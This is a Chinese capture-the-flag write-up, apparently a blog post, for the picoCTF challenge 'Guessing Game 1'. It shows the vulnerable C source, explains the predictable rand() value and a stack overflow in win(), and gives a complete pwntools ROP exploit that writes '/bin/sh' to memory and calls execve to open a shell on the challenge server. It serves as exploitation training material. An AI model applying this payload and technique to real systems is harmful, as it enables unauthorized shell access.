picoCTF pwn wp - Guessing Game 1

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 100


long increment(long in) {
	return in + 1;
}

long get_random() {
	return rand() % BUFSIZE;
}

int do_stuff() {
	long ans = get_random();
	ans = increment(ans);
	int res = 0;
	
	printf("What number would you like to guess?\n");
	char guess[BUFSIZE];
	fgets(guess, BUFSIZE, stdin);
	
	long g = atol(guess);
	if (!g) {
		printf("That's not a valid number!\n");
	} else {
		if (g == ans) {
			printf("Congrats! You win! Your prize is this print statement!\n\n");
			res = 1;
		} else {
			printf("Nope!\n\n");
		}
	}
	return res;
}

void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	fgets(winner, 360, stdin);
	printf("Congrats %s\n\n", winner);
}

int main(int argc, char **argv){
	setvbuf(stdout, NULL, _IONBF, 0);
	// Set the gid to the effective gid
	// this prevents /bin/sh from dropping the privileges
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	
	int res;
	
	printf("Welcome to my guessing game!\n\n");
	
	while (1) {
		res = do_stuff();
		if (res) {
			win();
		}
	}
	
	return 0;
}

在这里插入图片描述

rand()函数没有初始化, 可以调试找到随机数, 通过随机数检测以后到达溢出点

在这里插入图片描述

随机数0x53 + 1 = 83 + 1 = 84

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

有canary不能栈溢出, 有NX不能ret2shellcode, 静态编译不能ret2libc, 那就ROP, 在可写段写入"/bin/sh", 然后利用程序自身的system调用, 函数说明可见https://syscalls.w3challs.com/?arch=x86

在这里插入图片描述

eax = 11
ebx = addr
ecx = edx = 0

用gadget设置好寄存器, 然后int80实现调用execve("/bin/sh")
不过在这之前需要将"/bin/sh"写入内存
在这里插入图片描述
找到可写段0x6b7000, 找到gadget, 不过没有设置ecx的, 所以这里赌一把ecx执行过程中通常为0, 就不设置ecx
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

为了写入数据, 需要用到mov [rdi], rdx的指令, 直接将rdx的内容放入rdi所指地址中, rdx中放入8字节字符串"/bin/sh\x00"

from pwn import *
from pwnlib import context
from pwnlib.replacements import sleep
from pwnlib.util.cyclic import cyclic_find
from pwnlib.util.misc import write

context.log_level = "debug"
sel = 1
io = process("./vuln") if sel == 0 else remote('3.131.60.8',38467)

elf = ELF("./vuln")
pad = 0x70 + 8
pop_rax_rdx_rbx_addr = 0x0000000000482776
binsh_addr = 0x6b7000
mov_rdi_rdx_addr = 0x0000000000436393
pop_rdi_addr = 0x0000000000400696
pop_rdx_addr = 0x000000000044a6b5
int80_addr = 0x0000000000468fea

payload = cyclic(pad) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(pop_rdx_addr)
payload += b"/bin/sh\x00" + p64(mov_rdi_rdx_addr) + p64(pop_rax_rdx_rbx_addr)
payload += p64(11) + p64(0) + p64(binsh_addr) + p64(int80_addr)

io.sendlineafter("What number would you like to guess?\n", "84")
io.sendlineafter("Name? ", payload)
io.interactive()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值